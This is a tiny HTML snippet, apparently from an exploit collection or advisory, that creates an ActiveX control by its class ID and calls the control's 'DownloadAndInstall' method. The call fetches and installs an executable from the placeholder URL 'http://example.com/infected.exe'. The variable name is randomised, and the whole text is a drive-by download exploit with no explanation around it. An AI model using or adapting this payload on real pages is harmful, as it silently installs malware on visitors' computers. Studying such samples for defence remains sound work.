&lt;OBJECT id=install 
classid=clsid:78ABDC59-D8E7-44D3-9A76-9A0918C52B4A&gt;&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
var YEtYcJsR1=&quot;http://example.com/infected.exe&quot;;
install[&quot;DownloadAndInstall&quot;](YEtYcJsR1);
&lt;/SCRIPT&gt;